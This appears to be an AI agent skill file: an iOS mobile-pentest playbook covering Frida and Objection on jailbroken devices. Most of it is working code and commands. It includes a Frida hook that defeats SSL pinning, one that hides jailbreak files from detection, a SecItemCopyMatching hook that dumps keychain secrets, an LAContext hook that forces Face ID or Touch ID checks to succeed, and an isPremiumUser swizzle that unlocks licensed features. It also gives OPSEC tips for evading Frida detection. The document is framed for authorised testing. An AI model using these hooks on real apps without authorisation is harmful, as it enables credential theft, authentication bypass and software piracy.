| name | dynamic |
| description | iOS dynamic instrumentation on jailbroken device — Frida/Objection setup, SSL Kill Switch pinning bypass, jailbreak-detection bypass, keychain dump, biometric/LAContext bypass, and ObjC runtime method hooking. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"mobile","when_to_use":"ios dynamic frida objection jailbreak ssl kill switch pinning bypass keychain dump biometric faceid touchid lacontext jailbreak-detection palera1n unc0ver checkra1n cycript","tags":"ios, frida, objection, ssl-pinning, jailbreak, keychain, biometric, lacontext","mitre_attack":"T1635, T1521.003, T1517, T1633"} |
iOS Dynamic Instrumentation Playbook
Jailbroken device required for full Frida/Objection access. Most
enterprise and bounty-program iOS testing falls here. For static-only
analysis (no jailbreak) see reverser/ios-static/SKILL.md.
Prerequisites
- iOS device jailbroken with palera1n (A8-A11 on iOS 16+),
checkra1n (A5-A11, up to iOS 14.8), or unc0ver (A12+ up to
iOS 14.8 with supported blobs). Confirm with
uname -v in SSH.
- Frida server installed via Cydia / Sileo (search "Frida") or manually:
ssh root@<device-ip>
id
uname -v
- Host side:
pip install frida-tools objection
- Confirm connectivity:
frida-ps -U
Path A: SSL Pinning Bypass
SSL Kill Switch 2 / 3
Install via Cydia/Sileo (search "SSL Kill Switch 2" or "SSL Kill
Switch 3" for iOS 15+). Toggle per-app in Settings → SSL Kill Switch.
Relaunch the app; verify traffic appears in Burp (set device proxy to
Burp listener IP:8080, install Burp CA as trusted profile via
Settings → General → VPN & Device Management).
Objection pinning disable (preferred for on-demand toggle)
objection --gadget "TargetApp" explore
ios sslpinning disable
Frida codeshare scripts (NSURLSession / AFNetworking / TrustKit)
frida -U -f com.target.bundle \
--codeshare "wan-make/ios-ssl-pinning-bypass" \
--no-pause
frida -U -f com.target.bundle \
--codeshare "machorka/trustkit-bypass" \
--no-pause
Manual Frida script for custom pinners
if (ObjC.available) {
var SecTrustEvaluateWithError = Module.findExportByName(
"Security", "SecTrustEvaluateWithError");
if (SecTrustEvaluateWithError) {
Interceptor.replace(SecTrustEvaluateWithError,
new NativeCallback(function(trust, error) {
if (error !== 0) Memory.writePointer(error, ptr(0));
return 1;
}, 'int', ['pointer', 'pointer']));
}
}
Verify in Burp: HTTPS traffic from the target app appears decrypted.
Path B: Jailbreak-Detection Bypass
Objection built-in
objection --gadget "TargetApp" explore
ios jailbreak disable
Common detection patterns to hook manually
| Pattern | API to hook |
|---|
File presence (/Applications/Cydia.app, /bin/bash) | NSFileManager fileExistsAtPath: |
URL scheme (cydia://) | UIApplication canOpenURL: |
fork() syscall return | fork (libc) |
/proc/self/maps inspection | open / fopen |
| Dyld image name scan | _dyld_get_image_name |
var NSFileManager = ObjC.classes.NSFileManager;
var orig = NSFileManager["- fileExistsAtPath:"].implementation;
Interceptor.replace(orig, ObjC.implement(
NSFileManager["- fileExistsAtPath:"],
function(self, sel, path) {
var p = ObjC.Object(path).toString();
var jbPaths = ["/Applications/Cydia.app", "/bin/bash",
"/usr/sbin/sshd", "/etc/apt", "/private/var/lib/apt/"];
for (var i = 0; i < jbPaths.length; i++) {
if (p.indexOf(jbPaths[i]) !== -1) return 0;
}
return orig(self, sel, path);
}
));
Liberty Lite / A-Bypass (tweak-side)
Install Liberty Lite or A-Bypass from Cydia/Sileo → enable per-app
toggle before launch. Faster than scripting for commodity JB checks.
Path C: Keychain Dump
Objection keychain dump
objection --gadget "TargetApp" explore
ios keychain dump
Frida hook on SecItemCopyMatching
var SecItemCopyMatching = Module.findExportByName(
"Security", "SecItemCopyMatching");
Interceptor.attach(SecItemCopyMatching, {
onEnter: function(args) { this.result = args[1]; },
onLeave: function(retval) {
if (retval.toInt32() === 0 && !this.result.isNull()) {
var items = new ObjC.Object(this.result.readPointer());
console.log("[KC]", items.toString());
}
}
});
kSecAttrAccessible misconfig findings
| Value | Finding |
|---|
kSecAttrAccessibleAlways | Critical — readable without unlock, even after reboot |
kSecAttrAccessibleAlwaysThisDeviceOnly | High — readable without unlock |
kSecAttrAccessibleAfterFirstUnlock | Medium if secrets are high-value |
kSecAttrAccessibleWhenUnlocked | Acceptable baseline |
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly | Secure — requires passcode |
Path D: Biometric / LAContext Bypass
Hook evaluatePolicy to always succeed
var LAContext = ObjC.classes.LAContext;
Interceptor.attach(
LAContext["- evaluatePolicy:localizedReason:reply:"].implementation,
{
onEnter: function(args) {
var replyBlock = new ObjC.Block(args[3]);
var origImpl = replyBlock.implementation;
replyBlock.implementation = function(success, error) {
origImpl(1, null);
};
}
}
);
Objection biometric bypass
objection --gadget "TargetApp" explore
ios ui biometrics_bypass
Path E: ObjC Runtime Method Swizzling (License / Auth Checks)
Java.perform(function() {});
var LicenseMgr = ObjC.classes.LicenseManager;
if (LicenseMgr && LicenseMgr["- isPremiumUser"]) {
Interceptor.replace(
LicenseMgr["- isPremiumUser"].implementation,
ObjC.implement(LicenseMgr["- isPremiumUser"], function(self, sel) {
console.log("[+] isPremiumUser hooked -> returning YES");
return 1;
})
);
}
frida -U -n TargetApp -e "ObjC.classes.LicenseManager['- isPremiumUser'].implementation = ObjC.implement(ObjC.classes.LicenseManager['- isPremiumUser'], function(self,sel){return 1;});"
Evidence
Capture Burp traffic screenshot showing decrypted HTTPS after pinning
bypass. Save keychain dump to /workspace/evidence/mobile/<bundle-id>/keychain.txt.
kg_add_node(
kind="finding",
label="iOS SSL pinning bypassable",
props={
"key": f"ios-ssl-pin::{bundle_id}",
"severity": "high",
"cvss": 7.4,
"bundle_id": bundle_id,
"bypass_method": "objection+ssl-kill-switch",
"traffic_captured": True,
},
)
kg_add_node(
kind="finding",
label="iOS keychain kSecAttrAccessibleAlways item",
props={
"key": f"ios-keychain-acl::{bundle_id}",
"severity": "critical",
"service": "<service-name>",
"account": "<account-name>",
"accessible_class": "kSecAttrAccessibleAlways",
},
)
ZFP
Two-method evidence per finding:
- Pinning bypass: Burp HTTP history screenshot with decrypted HTTPS
requests from the target app visible.
- Keychain misconfig:
ios keychain dump output showing
kSecAttrAccessibleAlways class + sensitive value.
- Biometric bypass: screen recording of the app unlocking without
presenting a Face ID prompt after the hook fires.
OPSEC Notes
- Jailbreaking leaves fingerprints: jailbroken device connects to
Apple ID — use a dedicated Apple ID for testing; avoid using personal
iCloud account.
- Frida injects a Gadget dylib; some apps detect
frida-agent in
the dyld image list. Counter: Frida Gadget injection via
objection patchipa or optool (embed Gadget, re-sign with
codesign).
- SSL Kill Switch modifies a system library; some app-layer integrity
checks may detect it. Script-based bypass (injected Frida) leaves
fewer static artifacts than a system tweak.
palera1n tethered jailbreak: device reboots to unjailbroken state;
re-jailbreak each power cycle during long engagements.
Severity Table
| Bug | Severity |
|---|
Keychain kSecAttrAccessibleAlways with auth token | Critical 9.5 |
| SSL pinning fully absent or bypassable without JB | High 8.0 |
| Jailbreak detection absent | Informational |
| Biometric bypass exposing auth flow | High 7.5 |
kSecAttrAccessibleAfterFirstUnlock with secrets | Medium 5.5 |
References